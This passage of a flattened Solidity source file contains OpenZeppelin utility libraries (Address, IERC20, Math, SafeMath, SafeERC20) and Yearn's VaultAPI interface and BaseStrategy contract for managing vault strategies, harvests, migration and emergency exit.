// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: iearn-finance/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function apiVersion() external pure returns (string memory);
function withdraw(uint256 shares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
// Part: iearn-finance/[email protected]/BaseStrategy
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.3.2";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external virtual view returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external virtual view returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay = 0;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay = 86400; // ~ once a day
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor = 100;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold = 0;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public virtual view returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit - _loss`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCost The keeper's estimated cast cost to call `tend()`.
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCost) public virtual view returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCost The keeper's estimated cast cost to call `harvest()`.
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCost) public virtual view returns (bool) {
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 totalAssets = estimatedTotalAssets();
// NOTE: use the larger of total assets or debt outstanding to book losses properly
(debtPayment, loss) = liquidatePosition(totalAssets > debtOutstanding ? totalAssets : debtOutstanding);
// NOTE: take up any remainder here as profit
if (debtPayment > debtOutstanding) {
profit = debtPayment.sub(debtOutstanding);
debtPayment = debtOutstanding;
}
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by governance or the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault) || msg.sender == governance());
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
*
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
*/
function protectedTokens() internal virtual view returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
